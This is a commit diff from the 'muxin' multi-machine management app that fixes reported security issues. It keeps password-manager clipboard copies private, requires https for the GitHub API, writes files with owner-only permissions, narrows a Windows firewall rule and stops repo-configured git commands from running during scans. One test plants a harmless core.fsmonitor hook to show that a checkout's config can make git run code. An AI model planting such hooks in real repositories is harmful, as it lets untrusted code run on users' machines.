Skip to content

armgit / muxin

Public Imported from GitHub
0

All your machines, one app. For you and your AI agents: agent sessions, desktops, files, logs and GitHub across your Macs, Linux and Windows machines, with an MCP server.

Security fixes from a private report: copies, workspace pulls, tokens, runners, clipboard

Adib Hannaa753befcaf03
diff --git a/AGENTS.md b/AGENTS.md
index fabddaf..aad48ec 100644
--- a/AGENTS.md
+++ b/AGENTS.md
@@ -8,7 +8,7 @@ Use the MCP tools when they're connected: start the server with `muxin mcp`, and
1. **Start with `status`** (`muxin status --json`) and read `attention` first. It lists what's wrong, most severe first, with the `machine_id` or `runner_id` each item is about.
2. **The state may be stale.** `status` uses the last machine check. Look at `last_check_at` and each machine's `checked_at`. Call `check_machines` (or `status` with `refresh: true`) when you need it fresh. Checks are read-only.
-3. **Confirm before changing real things.** `install_runners` and `runner_action` with `stop`, `restart` or `remove` run commands on the user's machines and register or deregister runners on GitHub. Do them when the user asked for exactly that; otherwise say what you'd do and ask. `add_machine`, `remove_machine`, `rename_machine` and `connect_machine` only edit `config.toml`.
+3. **Confirm before changing real things.** `install_runners` and `runner_action` with `stop`, `restart` or `remove` run commands on the user's machines and register or deregister runners on GitHub. Do them when the user asked for exactly that; otherwise say what you'd do and ask. `add_machine`, `remove_machine`, `rename_machine` and `connect_machine` only edit `config.toml` (`remove_machine` also unpairs a machine paired for direct connections from this app).
4. **Use the hints.** Errors have a `code`:
- `not_found`
- `invalid`
@@ -85,7 +85,7 @@ A workspace is a persistent folder on one of the user's machines, optionally a g
1. Create a workspace on the target machine (no `repo`, or the same repo so `.git` exists), then call `workspace_sync(local_path: "<absolute path to the user's checkout>", direction: "push")`.
2. Run the tests with `workspace_exec`. Fix things with `workspace_write_file` or `workspace_exec`, and review with `workspace_changes`.
-3. Confirm with the user, then `workspace_sync(direction: "pull")`. Only pass `delete: true` when they want deletions mirrored into their checkout.
+3. Confirm with the user, then `workspace_sync(direction: "pull")`. A pull brings files back but never the workspace's `.git`, so commits made there stay there: leave the changes uncommitted, or commit them in the user's checkout. Only pass `delete: true` when they want deletions mirrored into their checkout.
The CLI equivalents are `muxin workspace create|ls|show|exec|cat|write|files|changes|sync|rm|allow`, aliased as `muxin ws`. `ws exec` exits with the command's own exit code.
diff --git a/Cargo.toml b/Cargo.toml
index b24e9a6..055e36e 100644
--- a/Cargo.toml
+++ b/Cargo.toml
@@ -59,9 +59,10 @@ libc = "0.2"
[target.'cfg(windows)'.build-dependencies]
winresource = "0.1"
-# Starting without a console window (see main.rs `without_console_window`).
+# Starting without a console window (see main.rs `without_console_window`);
+# telling a password manager's copies on the clipboard (ui/mod.rs).
[target.'cfg(windows)'.dependencies]
-windows-sys = { version = "0.61", features = ["Win32_Foundation", "Win32_System_Console", "Win32_UI_WindowsAndMessaging", "Win32_Security_Credentials", "Win32_Graphics_Dwm"] }
+windows-sys = { version = "0.61", features = ["Win32_Foundation", "Win32_System_Console", "Win32_UI_WindowsAndMessaging", "Win32_Security_Credentials", "Win32_Graphics_Dwm", "Win32_System_DataExchange"] }
# The window's handle, to color its title bar like the theme.
raw-window-handle = { version = "0.6", optional = true }
diff --git a/README.md b/README.md
index 5d2f210..d699410 100644
--- a/README.md
+++ b/README.md
@@ -154,7 +154,7 @@ Runners installed in the usual places are discovered automatically: `~/actions-r
Watch an org or a repo in Settings, or with `muxin watch acme` (or `acme/api`). Muxin then reads live runner status (online, busy) and the queued and running jobs of the most recently pushed repos.
-The token comes from `MUXEN_GITHUB_TOKEN`, `GITHUB_TOKEN`, `GH_TOKEN`, or `gh auth token`. Polling uses conditional requests, so unchanged responses don't count against your rate limit.
+The token comes from `MUXEN_GITHUB_TOKEN`, `GITHUB_TOKEN`, `GH_TOKEN`, or `gh auth token`. Like `gh`, Muxin sends those variables only to github.com; for GitHub Enterprise Server it uses `GH_ENTERPRISE_TOKEN` or `GITHUB_ENTERPRISE_TOKEN`. Polling uses conditional requests, so unchanged responses don't count against your rate limit.
Reading and registering **org** runners needs an org admin token with the `admin:org` scope:
@@ -203,7 +203,7 @@ The MCP server has these tools:
| `list_runners` | Runners, optionally filtered by machine or state. |
| `list_jobs` | Queued and running jobs, including which ones no runner can take. |
| `check_machines` | Runs the read-only machine check over ssh now. |
-| `add_machine`, `remove_machine`, `rename_machine` | Edit `config.toml`. Nothing on the machine changes. |
+| `add_machine`, `remove_machine`, `rename_machine` | Edit `config.toml`. Nothing on the machine changes, except that `remove_machine` turns off a direct connection from this app. |
| `connect_machine` | Disconnect from a machine (`connected: false`) or connect again. Its sessions keep running there. |
| `machine_ports` | What's listening on a machine: ports, programs or containers, and web servers' page titles. |
| `machine_processes`, `process_signal` | A machine's busiest processes and its GPUs; stop or kill one. |
@@ -509,7 +509,7 @@ muxin cp beelink:~/build/app.tar.gz adibs-macbook-pro:~/Downloads
muxin cp adibs-macbook-pro:~/Projects/site beelink:~/www --no-wait
```
-**Shared clipboard.** Text you copy on your Mac can be pasted on your Linux desktops and other Macs, and what you copy there lands on your Mac (and on the other machines). Passwords copied from password managers (marked private on the clipboard) stay on your Mac. Turn it off in Settings › Clipboard.
+**Shared clipboard.** Turn it on in Settings › Clipboard. Text you copy on your Mac can then be pasted on your Linux desktops, Windows PCs and other Macs, and what you copy there lands on your Mac (and on the other machines). Passwords copied from password managers (marked private on the clipboard) aren't shared. Neither is text a program in a terminal copies. One exception: the app on Linux can't tell which copies on its own computer are passwords.
## Cloud machines
@@ -518,7 +518,7 @@ Need a machine you don't have? Muxin can make one in your DigitalOcean account.
DigitalOcean bills a droplet by the second while it exists, **powered on or off**, up to its monthly price; only destroying it stops the charges. Each cloud machine's page shows its rate, what it has cost this month and since it was created, and what this month comes to if you keep it, with **Power on/off** and **Destroy**. **Settings › Cloud › Usage and cost** adds them up: what you're paying per hour now, this month so far (machines destroyed this month included), the month's total if nothing changes, and your whole DigitalOcean bill this month (when Muxin may read it: sign in again in the browser, or use a token with `billing:read`). Settings › Cloud also says what happens when one sits idle: nothing, a reminder, power off, or destroy, after the hours you choose.
```sh
-muxin cloud login --token dop_v1_...
+pbpaste | muxin cloud login --token - # the token on stdin, not in your shell history
muxin cloud options
muxin cloud create dev-1 --size s-2vcpu-4gb
muxin cloud usage # what they cost
diff --git a/agent/src/clipboard.rs b/agent/src/clipboard.rs
index e54375b..6f210e0 100644
--- a/agent/src/clipboard.rs
+++ b/agent/src/clipboard.rs
@@ -1,7 +1,8 @@
//! `muxen-agent clip`: this machine's clipboard, shared with the app. Frames
//! on stdin set it (text); frames on stdout say it changed (text copied here).
//! Linux: owns and watches the X clipboard (needs a desktop session). macOS:
-//! pbcopy and pbpaste.
+//! pbcopy and pbpaste. A password manager's copies aren't sent (each system
+//! has its own way of marking them).
use std::io::{self, Write};
use std::sync::mpsc;
@@ -14,6 +15,13 @@ pub const CLIP: u8 = 40;
/// Bigger text isn't shared (X serves it in pieces, which this doesn't do).
pub const MAX: usize = 256 * 1024;
+/// Whether a copy's `x-kde-passwordManagerHint` says it's a password, as
+/// KeePassXC and other password managers on Linux mark theirs.
+#[cfg_attr(not(target_os = "linux"), allow(dead_code))]
+fn secret(hint: &[u8]) -> bool {
+ hint.trim_ascii() == b"secret"
+}
+
pub fn run() -> i32 {
// What the app sets, as it arrives.
let (tx, rx) = mpsc::channel::<String>();
@@ -70,25 +78,45 @@ mod mac {
}
}
+ unsafe extern "C" {
+ fn muxen_pasteboard(concealed: *mut i32) -> i64;
+ }
+
+ /// The pasteboard's change count, and whether a password manager marked
+ /// what's there private (see mac_screen.m).
+ fn pasteboard() -> (i64, bool) {
+ let mut concealed = 0;
+ let count = unsafe { muxen_pasteboard(&mut concealed) };
+ (count, concealed != 0)
+ }
+
pub fn run(rx: mpsc::Receiver<String>, changed: impl Fn(&str) -> bool) {
- // What's there now is old news; only changes from here on count.
- let mut last = paste().unwrap_or_default();
+ // What's there now is old news; only copies from here on count.
+ let mut seen = pasteboard().0;
loop {
match rx.recv_timeout(Duration::from_millis(600)) {
Ok(text) => {
copy(&text);
- last = text;
+ seen = pasteboard().0;
}
Err(mpsc::RecvTimeoutError::Disconnected) => return,
Err(mpsc::RecvTimeoutError::Timeout) => {}
}
- if let Some(now) = paste() {
- if now != last && now.len() <= MAX {
- if !changed(&now) {
- return;
- }
- last = now;
- }
+ let (count, private) = pasteboard();
+ if count == seen {
+ continue;
+ }
+ // A password manager's copy stays on this Mac.
+ let text = if private { None } else { paste() };
+ // Copied again while reading: that copy is looked at next time.
+ if pasteboard().0 != count {
+ continue;
+ }
+ seen = count;
+ if let Some(now) = text.filter(|t| !t.is_empty() && t.len() <= MAX)
+ && !changed(&now)
+ {
+ return;
}
}
}
@@ -113,6 +141,7 @@ mod x11 {
let atom = |name: &str| -> Result<u32, String> { Ok(conn.intern_atom(false, name.as_bytes()).map_err(|e| e.to_string())?.reply().map_err(|e| e.to_string())?.atom) };
let (clipboard, utf8, targets, text_atom, plain, prop, incr) =
(atom("CLIPBOARD")?, atom("UTF8_STRING")?, atom("TARGETS")?, atom("TEXT")?, atom("text/plain;charset=utf-8")?, atom("MUXEN_CLIP")?, atom("INCR")?);
+ let hint = atom("x-kde-passwordManagerHint")?;
let string: u32 = AtomEnum::STRING.into();
conn.xfixes_query_version(5, 0).map_err(|e| e.to_string())?.reply().map_err(|e| format!("no XFixes: {e}"))?;
conn.xfixes_select_selection_input(win, clipboard, xfixes::SelectionEventMask::SET_SELECTION_OWNER).map_err(|e| e.to_string())?;
@@ -122,17 +151,43 @@ mod x11 {
// text either way (so nothing echoes back).
let mut owned: Option<Vec<u8>> = None;
let mut last = String::new();
+ // When the copy being asked about was made (answers about an older one are dropped).
+ let mut asked_at = x11rb::CURRENT_TIME;
+ let ask = |target: u32, at: u32| {
+ let _ = conn.convert_selection(win, clipboard, target, prop, at);
+ let _ = conn.flush();
+ };
loop {
while let Some(event) = conn.poll_for_event().map_err(|e| e.to_string())? {
match event {
- // Something else took the clipboard: ask it for the text.
+ // Something else took the clipboard: ask what it offers
+ // first, since a password manager marks its copies.
Event::XfixesSelectionNotify(e) if e.owner != win && e.owner != NONE => {
- let _ = conn.convert_selection(win, clipboard, utf8, prop, e.selection_timestamp);
- let _ = conn.flush();
+ asked_at = e.selection_timestamp;
+ ask(targets, asked_at);
}
- Event::SelectionNotify(e) if e.requestor == win && e.property != NONE => {
+ Event::SelectionNotify(e) if e.requestor == win && (e.time == asked_at || e.time == x11rb::CURRENT_TIME) => {
+ if e.property == NONE {
+ // It doesn't list what it offers: just the text.
+ if e.target == targets {
+ ask(utf8, asked_at);
+ }
+ continue;
+ }
let Ok(cookie) = conn.get_property(true, win, prop, AtomEnum::ANY, 0, (MAX / 4) as u32 + 1) else { continue };
let Ok(reply) = cookie.reply() else { continue };
+ if e.target == targets {
+ let offered: Vec<u32> = reply.value32().map(|atoms| atoms.collect()).unwrap_or_default();
+ ask(if offered.contains(&hint) { hint } else { utf8 }, asked_at);
+ continue;
+ }
+ if e.target == hint {
+ // A password manager's copy stays on this machine.
+ if !super::secret(&reply.value) {
+ ask(utf8, asked_at);
+ }
+ continue;
+ }
if reply.type_ == incr || reply.value.len() > MAX {
continue;
}
@@ -190,3 +245,14 @@ mod x11 {
}
}
}
+
+#[cfg(test)]
+mod tests {
+ #[test]
+ fn a_password_managers_copy_says_secret() {
+ assert!(super::secret(b"secret"));
+ assert!(super::secret(b"secret\n"));
+ assert!(!super::secret(b""));
+ assert!(!super::secret(b"public"));
+ }
+}
diff --git a/agent/src/direct.rs b/agent/src/direct.rs
index 7e17c3b..6bd99cf 100644
--- a/agent/src/direct.rs
+++ b/agent/src/direct.rs
@@ -409,13 +409,34 @@ pub fn migrate() -> i32 {
0
}
-/// `{"op": "unpair"}`: stops `listen` and forgets every app.
-pub fn unpair() -> Value {
- let _ = std::fs::remove_file(dir().join("trusted"));
- remove_service();
+/// `{"op": "unpair", "client": "<app fingerprint>"}`: forgets that app, and
+/// stops `listen` once no app is left. Without a fingerprint (older apps),
+/// forgets every app.
+pub fn unpair(req: &Value) -> Value {
+ let left = after_unpair(trusted(), req["client"].as_str().unwrap_or(""));
+ if left.is_empty() {
+ let _ = std::fs::remove_file(dir().join("trusted"));
+ remove_service();
+ } else {
+ let list: String = left.iter().map(|f| format!("{f}\n")).collect();
+ if let Err(e) = write_private(&dir().join("trusted"), list.as_bytes()) {
+ return json!({ "ok": false, "error": e });
+ }
+ }
json!({ "ok": true })
}
+/// The apps still trusted once `client` is unpaired ("" for every app).
+fn after_unpair(mut trusted: HashSet<String>, client: &str) -> HashSet<String> {
+ let client = client.trim().to_lowercase();
+ if client.is_empty() {
+ trusted.clear();
+ } else {
+ trusted.remove(&client);
+ }
+ trusted
+}
+
/// This user's id (launchd's domains are by user).
fn uid() -> u32 {
#[cfg(unix)]
@@ -472,6 +493,11 @@ pub fn start_service() {
#[cfg(windows)]
const TASK: &str = "Muxen agent";
+/// Where Windows' firewall lets apps in from (a PowerShell list): the
+/// machine's own subnets, and Tailscale's addresses (see `is_tailnet`).
+#[cfg(windows)]
+const FIREWALL_REMOTE: &str = "'LocalSubnet', '100.64.0.0/10', 'fd7a:115c:a1e0::/48'";
+
/// Runs `listen` as a service of this user: (how, a note when it couldn't).
fn install_service() -> (&'static str, Option<String>) {
#[cfg(windows)]
@@ -479,7 +505,8 @@ fn install_service() -> (&'static str, Option<String>) {
// A task at sign-in, in the user's own desktop session (where the
// screen and clipboard are), through a windowless console (nothing
// shows on their screen), started now too; and a way in through
- // Windows' firewall for the agent (administrators only).
+ // Windows' firewall for the agent (administrators only), on any
+ // network but only from its own subnets and from the tailnet.
let script = format!(
"$exe = {exe}\n\
$action = New-ScheduledTaskAction -Execute 'conhost.exe' -Argument ('--headless \"' + $exe + '\" listen')\n\
@@ -487,14 +514,15 @@ fn install_service() -> (&'static str, Option<String>) {
$principal = New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Limited\n\
$settings = New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DontStopIfGoingOnBatteries -ExecutionTimeLimit ([TimeSpan]::Zero) -RestartCount 999 -RestartInterval (New-TimeSpan -Minutes 1) -MultipleInstances IgnoreNew\n\
Register-ScheduledTask -TaskName {task} -Action $action -Trigger $trigger -Principal $principal -Settings $settings -Force | Out-Null\n\
- try {{ Remove-NetFirewallRule -DisplayName {task} -ErrorAction SilentlyContinue; New-NetFirewallRule -DisplayName {task} -Direction Inbound -Program $exe -Protocol UDP -Action Allow -Profile Any -ErrorAction Stop | Out-Null; $fw = 'yes' }} catch {{ $fw = 'no' }}\n\
+ try {{ Remove-NetFirewallRule -DisplayName {task} -ErrorAction SilentlyContinue; New-NetFirewallRule -DisplayName {task} -Direction Inbound -Program $exe -Protocol UDP -RemoteAddress {remote} -Action Allow -Profile Any -ErrorAction Stop | Out-Null; $fw = 'yes' }} catch {{ $fw = 'no' }}\n\
Get-CimInstance Win32_Process -Filter \"Name='muxen-agent.exe'\" | Where-Object {{ $_.CommandLine -match ' listen' }} | ForEach-Object {{ Stop-Process -Id $_.ProcessId -Force -ErrorAction SilentlyContinue }}\n\
Start-ScheduledTask -TaskName {task}\n\
$running = $false\n\
foreach ($i in 1..20) {{ Start-Sleep -Milliseconds 250; if (@(Get-CimInstance Win32_Process -Filter \"Name='muxen-agent.exe'\" | Where-Object {{ $_.CommandLine -match ' listen' }}).Count) {{ $running = $true; break }} }}\n\
\"fw=$fw running=$running\"",
exe = crate::win::quote(&exe()),
- task = crate::win::quote(TASK)
+ task = crate::win::quote(TASK),
+ remote = FIREWALL_REMOTE
);
return match crate::win::ps(&script) {
Ok(out) if out.contains("running=True") => ("task", (!out.contains("fw=yes")).then(|| "Windows' firewall may block it: allow muxen-agent.exe, or pair as an administrator".to_string())),
@@ -592,4 +620,14 @@ mod tests {
println!("lan {lan:?} tailnet {tailnet:?}");
assert!(lan.iter().all(|a| !tailnet.contains(a)));
}
+
+ #[test]
+ fn unpairing_one_app_keeps_the_others() {
+ let (laptop, desktop) = ("a".repeat(64), "b".repeat(64));
+ let both: HashSet<String> = [laptop.clone(), desktop.clone()].into();
+ assert_eq!(after_unpair(both.clone(), &format!(" {} ", laptop.to_uppercase())), [desktop.clone()].into());
+ assert_eq!(after_unpair(both.clone(), &"c".repeat(64)), both);
+ // An app from before says no fingerprint: every app goes, as it did.
+ assert!(after_unpair(both, "").is_empty());
+ }
}
diff --git a/agent/src/link.rs b/agent/src/link.rs
index 1ccf78d..392e167 100644
--- a/agent/src/link.rs
+++ b/agent/src/link.rs
@@ -260,7 +260,7 @@ fn handle(req: &Value, out: &Out, attached: &Attached) -> Value {
"ping" => json!({ "ok": true, "version": crate::VERSION, "now": now() }),
"addresses" => json!({ "ok": true, "addresses": crate::direct::lan_addresses(), "tailnet": crate::direct::tailnet_addresses(), "port": crate::direct::port() }),
"pair" => crate::direct::pair(req),
- "unpair" => crate::direct::unpair(),
+ "unpair" => crate::direct::unpair(req),
// Everything `muxen-agent ctl` does.
_ => client::handle(req),
}
diff --git a/agent/src/mac_screen.m b/agent/src/mac_screen.m
index 975952a..4f644b5 100644
--- a/agent/src/mac_screen.m
+++ b/agent/src/mac_screen.m
@@ -419,3 +419,23 @@ uint32_t muxen_vdisplay_create(uint32_t width, uint32_t height, const char *name
void muxen_vdisplay_run(void) {
dispatch_main();
}
+
+// ---------------------------------------------------------------------------
+// The clipboard, for `muxen-agent clip` (see clipboard.rs).
+
+/// The pasteboard's change count (it goes up with every copy), and in
+/// `concealed` whether what's there is a password manager's: they mark their
+/// copies with these types (nspasteboard.org, and 1Password's own).
+long muxen_pasteboard(int *concealed) {
+ @autoreleasepool {
+ NSPasteboard *pb = [NSPasteboard generalPasteboard];
+ NSArray *marks = @[ @"org.nspasteboard.ConcealedType", @"org.nspasteboard.TransientType", @"org.nspasteboard.AutoGeneratedType", @"com.agilebits.onepassword" ];
+ *concealed = 0;
+ for (NSString *type in pb.types) {
+ if ([marks containsObject:type]) {
+ *concealed = 1;
+ }
+ }
+ return (long)pb.changeCount;
+ }
+}
diff --git a/agent/src/repos.rs b/agent/src/repos.rs
index 074cfdd..36ae384 100644
--- a/agent/src/repos.rs
+++ b/agent/src/repos.rs
@@ -57,8 +57,12 @@ fn walk(dir: &Path, depth: usize, out: &mut Vec<PathBuf>) {
}
}
+/// Runs a read-only git command for the scan. A checkout's own config can name
+/// commands for git to run (core.fsmonitor on status, gpg.program on log), so
+/// those are turned off here: looking at a repository runs nothing from it.
fn git(dir: &Path, args: &[&str]) -> Option<String> {
let out = Command::new("git")
+ .args(["-c", "core.fsmonitor=false", "-c", "log.showSignature=false"])
.arg("--no-optional-locks")
.arg("-C")
.arg(dir)
@@ -143,7 +147,7 @@ pub fn info(path: &str) -> Value {
let fork = base.as_deref().and_then(|b| git(&dir, &["merge-base", "HEAD", b])).map(|m| m.trim().to_string());
let (mut files, mut added, mut removed, mut commits) = (0u64, 0u64, 0u64, 0u64);
if let Some(m) = &fork {
- (files, added, removed) = shortstat(&git(&dir, &["diff", "--shortstat", m]).unwrap_or_default());
+ (files, added, removed) = shortstat(&git(&dir, &["diff", "--no-ext-diff", "--no-textconv", "--shortstat", m]).unwrap_or_default());
commits = git(&dir, &["rev-list", "--count", &format!("{m}..HEAD")]).and_then(|c| c.trim().parse().ok()).unwrap_or(0);
}
json!({
@@ -274,6 +278,32 @@ mod tests {
assert_eq!(shortstat(""), (0, 0, 0));
}
+ /// A checkout whose config names an fsmonitor command: plain `git status`
+ /// runs it, the scan's doesn't.
+ #[cfg(unix)]
+ #[test]
+ fn looking_at_a_checkout_runs_nothing_from_its_config() {
+ use std::os::unix::fs::PermissionsExt;
+ let tmp = std::env::temp_dir().join(format!("muxen-fsmonitor-{}", std::process::id()));
+ let _ = std::fs::remove_dir_all(&tmp);
+ let repo = tmp.join("repo");
+ std::fs::create_dir_all(&repo).unwrap();
+ let marker = tmp.join("ran");
+ let hook = tmp.join("fsmonitor.sh");
+ std::fs::write(&hook, format!("#!/bin/sh\ntouch '{}'\nexit 1\n", marker.display())).unwrap();
+ std::fs::set_permissions(&hook, std::fs::Permissions::from_mode(0o755)).unwrap();
+ let run = |args: &[&str]| assert!(Command::new("git").arg("-C").arg(&repo).args(args).output().unwrap().status.success());
+ run(&["init", "-q"]);
+ run(&["config", "core.fsmonitor", hook.to_str().unwrap()]);
+
+ assert!(git(&repo, &["status", "--porcelain=v2", "--branch"]).is_some());
+ assert!(!marker.exists(), "the scan ran the checkout's fsmonitor command");
+ // Plain git does run it, so the check above means something.
+ let _ = Command::new("git").arg("-C").arg(&repo).arg("status").output();
+ assert!(marker.exists(), "git didn't run core.fsmonitor here; the test proves nothing");
+ let _ = std::fs::remove_dir_all(&tmp);
+ }
+
/// A clone of a repository with two commits, then a branch with work on it.
#[test]
fn info_counts_what_a_branch_changed_since_the_default_branch() {
diff --git a/agent/src/win_screen.rs b/agent/src/win_screen.rs
index 268799a..fbf29c7 100644
--- a/agent/src/win_screen.rs
+++ b/agent/src/win_screen.rs
@@ -342,7 +342,10 @@ fn vk_of(sym: u32) -> Option<(VIRTUAL_KEY, bool)> {
const CF_UNICODETEXT: u32 = 13;
-/// The clipboard's text, if it has any.
+/// The clipboard's text, if it has any and isn't a password manager's: they
+/// keep their copies out of clipboard history and off other devices, with
+/// `ExcludeClipboardContentFromMonitorProcessing`, or with
+/// `CanIncludeInClipboardHistory` or `CanUploadToCloudClipboard` set to 0.
fn clipboard_text() -> Option<String> {
use windows_sys::Win32::System::DataExchange::*;
use windows_sys::Win32::System::Memory::*;
@@ -350,7 +353,7 @@ fn clipboard_text() -> Option<String> {
if IsClipboardFormatAvailable(CF_UNICODETEXT) == 0 || OpenClipboard(std::ptr::null_mut()) == 0 {
return None;
}
- let h = GetClipboardData(CF_UNICODETEXT);
+ let h = if private_copy() { std::ptr::null_mut() } else { GetClipboardData(CF_UNICODETEXT) };
let text = if h.is_null() {
None
} else {
@@ -372,6 +375,37 @@ fn clipboard_text() -> Option<String> {
}
}
+/// Whether what's on the clipboard (open) is marked private (see `clipboard_text`).
+fn private_copy() -> bool {
+ use windows_sys::Win32::System::DataExchange::*;
+ use windows_sys::Win32::System::Memory::*;
+ let format = |name: &str| {
+ let wide: Vec<u16> = name.encode_utf16().chain(std::iter::once(0)).collect();
+ unsafe { RegisterClipboardFormatW(wide.as_ptr()) }
+ };
+ let excluded = format("ExcludeClipboardContentFromMonitorProcessing");
+ if excluded != 0 && unsafe { IsClipboardFormatAvailable(excluded) } != 0 {
+ return true;
+ }
+ // These two hold a DWORD: 0 keeps the copy out.
+ ["CanIncludeInClipboardHistory", "CanUploadToCloudClipboard"].into_iter().any(|name| {
+ let f = format(name);
+ let h = if f == 0 { std::ptr::null_mut() } else { unsafe { GetClipboardData(f) } };
+ if h.is_null() {
+ return false;
+ }
+ unsafe {
+ let p = GlobalLock(h) as *const u32;
+ if p.is_null() {
+ return false;
+ }
+ let zero = GlobalSize(h) >= 4 && p.read_unaligned() == 0;
+ GlobalUnlock(h);
+ zero
+ }
+ })
+}
+
fn set_clipboard_text(text: &str) -> bool {
use windows_sys::Win32::System::DataExchange::*;
use windows_sys::Win32::System::Memory::*;
diff --git a/src/api.rs b/src/api.rs
index e7e2161..f9fc30a 100644
--- a/src/api.rs
+++ b/src/api.rs
@@ -1230,6 +1230,8 @@ pub async fn remove_machine(engine: &Arc<Engine>, req: MachineRequest) -> ApiRes
let s = engine.current();
let m = find_machine(&s, &req.machine_id)?.clone();
engine.remove_machine(&m.id).map_err(op_error)?;
+ // Its agent forgetting this app (when it was paired) finishes before a CLI run exits.
+ engine.unpaired(&m.id).await;
Ok(machine_summary(&m))
}
diff --git a/src/cli.rs b/src/cli.rs
index b77c2fd..5f7f4ab 100644
--- a/src/cli.rs
+++ b/src/cli.rs
@@ -325,7 +325,7 @@ pub fn cloud_options(o: &crate::cloud::CloudOptions) -> String {
match (&o.account, o.signed_in) {
(Some(a), _) => out.push_str(&format!("DigitalOcean: {} ({method})\n", a.email)),
(None, true) => out.push_str(&format!("DigitalOcean: signed in ({method})\n")),
- (None, false) => out.push_str("DigitalOcean: not signed in. Run `muxin cloud login --token TOKEN` (or --doctl, --browser).\n"),
+ (None, false) => out.push_str("DigitalOcean: not signed in. Run `muxin cloud login --token -` with the token on stdin (or --doctl, --browser).\n"),
}
if let Some(e) = &o.error {
out.push_str(&format!(" {e}\n"));
diff --git a/src/config.rs b/src/config.rs
index 4476f1f..9c3c4e7 100644
--- a/src/config.rs
+++ b/src/config.rs
@@ -91,7 +91,7 @@ fn migrate(dir: &Path, base: Option<&Path>) {
const OLD_FILES: [&str; 3] = ["fleet.toml", "settings.json", "ui.json"];
let candidates = [Some(dir.to_path_buf()), base.map(|b| b.join("muxen")), base.map(|b| b.join("openrunner"))];
let Some(old) = candidates.into_iter().flatten().find(|d| OLD_FILES.iter().any(|f| d.join(f).exists())) else { return };
- if std::fs::create_dir_all(dir).is_err() {
+ if create_private_dir(dir).is_err() {
return;
}
if old != dir {
@@ -549,6 +549,7 @@ pub struct Settings {
/// Repositories the user starred in Muxin ("owner/name"), in the order added.
pub favorite_repos: Vec<String>,
/// Text copied here can be pasted on the machines (Linux desktops, Macs), and back.
+ /// Off until the user turns it on (a `true` saved before stays on).
pub share_clipboard: bool,
/// Ask GitHub now and then whether a newer Muxin is out (see crate::update).
pub check_updates: bool,
@@ -622,7 +623,7 @@ impl Default for Settings {
check_interval_minutes: 15,
code_folders: default_code_folders(),
favorite_repos: Vec::new(),
- share_clipboard: true,
+ share_clipboard: false,
check_updates: true,
editor: String::new(),
cloud: CloudSettings::default(),
@@ -640,7 +641,13 @@ impl Default for GitHubSettings {
impl Settings {
/// `[settings]` in config.toml.
pub fn load(path: &Path) -> Settings {
- read_section::<Settings>(path, "settings").normalized().unwrap_or_default()
+ let mut settings = read_section::<Settings>(path, "settings");
+ // An http:// API URL saved before those were refused is asked over https
+ // (the token never goes in the clear), rather than dropping every setting.
+ if let Some(rest) = settings.github.api_url.trim().strip_prefix("http://") {
+ settings.github.api_url = format!("https://{rest}");
+ }
+ settings.normalized().unwrap_or_default()
}
pub fn save(&self, path: &Path) -> Result<()> {
@@ -690,7 +697,8 @@ impl Settings {
self.github.account = self.github.account.trim().trim_start_matches('@').to_string();
let api = self.github.api_url.trim().trim_end_matches('/');
self.github.api_url = if api.is_empty() { "https://api.github.com".into() } else { api.into() };
- if !self.github.api_url.starts_with("https://") && !self.github.api_url.starts_with("http://") {
+ // The token goes along with every request: never in the clear.
+ if !self.github.api_url.starts_with("https://") {
return Err("The GitHub API URL must start with https://".into());
}
self.github_poll_seconds = self.github_poll_seconds.clamp(10, 3600);
@@ -741,16 +749,59 @@ impl PersistedState {
}
}
+/// Writes a whole file (a temporary one, then renamed), readable by this user
+/// only from the start: some hold secrets (secrets.json). On Windows the
+/// user's own folders already are.
pub fn write_atomic(path: &Path, bytes: &[u8]) -> Result<()> {
+ use std::io::Write as _;
if let Some(dir) = path.parent() {
- std::fs::create_dir_all(dir).with_context(|| format!("creating {}", dir.display()))?;
+ create_private_dir(dir).with_context(|| format!("creating {}", dir.display()))?;
}
let tmp = path.with_extension("tmp");
- std::fs::write(&tmp, bytes).with_context(|| format!("writing {}", tmp.display()))?;
+ let mut options = std::fs::OpenOptions::new();
+ options.write(true).create(true).truncate(true);
+ #[cfg(unix)]
+ {
+ use std::os::unix::fs::OpenOptionsExt;
+ options.mode(0o600);
+ }
+ let mut file = options.open(&tmp).with_context(|| format!("writing {}", tmp.display()))?;
+ // One left over from before keeps its old permissions: tighten them first.
+ #[cfg(unix)]
+ {
+ use std::os::unix::fs::PermissionsExt;
+ file.set_permissions(std::fs::Permissions::from_mode(0o600)).with_context(|| format!("writing {}", tmp.display()))?;
+ }
+ file.write_all(bytes).with_context(|| format!("writing {}", tmp.display()))?;
+ drop(file);
std::fs::rename(&tmp, path).with_context(|| format!("writing {}", path.display()))?;
Ok(())
}
+/// Makes a folder that only this user can open (the folders above it, when
+/// missing, as usual). One that's already there keeps its permissions; on
+/// Windows the user's own folders already are private.
+pub fn create_private_dir(dir: &Path) -> std::io::Result<()> {
+ if dir.is_dir() {
+ return Ok(());
+ }
+ if let Some(parent) = dir.parent() {
+ std::fs::create_dir_all(parent)?;
+ }
+ #[cfg(unix)]
+ let made = {
+ use std::os::unix::fs::DirBuilderExt;
+ std::fs::DirBuilder::new().mode(0o700).create(dir)
+ };
+ #[cfg(not(unix))]
+ let made = std::fs::create_dir(dir);
+ match made {
+ // Made in the meantime (another Muxin process).
+ Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists && dir.is_dir() => Ok(()),
+ other => other,
+ }
+}
+
#[cfg(test)]
mod tests {
@@ -865,4 +916,57 @@ mod tests {
bad.github.repos = vec!["just-a-name".into()];
assert!(bad.normalized().is_err());
}
+
+ #[test]
+ fn the_github_api_is_https_only() {
+ let api = |url: &str| {
+ let mut s = Settings::default();
+ s.github.api_url = url.into();
+ s.normalized().map(|s| s.github.api_url)
+ };
+ assert_eq!(api(" https://ghe.example.com/api/v3/ "), Ok("https://ghe.example.com/api/v3".into()));
+ assert_eq!(api(""), Ok("https://api.github.com".into()));
+ assert!(api("http://ghe.example.com/api/v3").is_err());
+ assert!(api("ghe.example.com").is_err());
+
+ // One saved before http:// was refused keeps the rest of the settings.
+ let path = std::env::temp_dir().join(format!("muxin-http-api-{}.toml", std::process::id()));
+ std::fs::write(&path, "[settings]\ngithub_poll_seconds = 45\nshare_clipboard = true\n\n[settings.github]\napi_url = \"http://ghe.example.com/api/v3\"\n").unwrap();
+ let s = Settings::load(&path);
+ assert_eq!(s.github.api_url, "https://ghe.example.com/api/v3");
+ assert_eq!((s.github_poll_seconds, s.share_clipboard), (45, true));
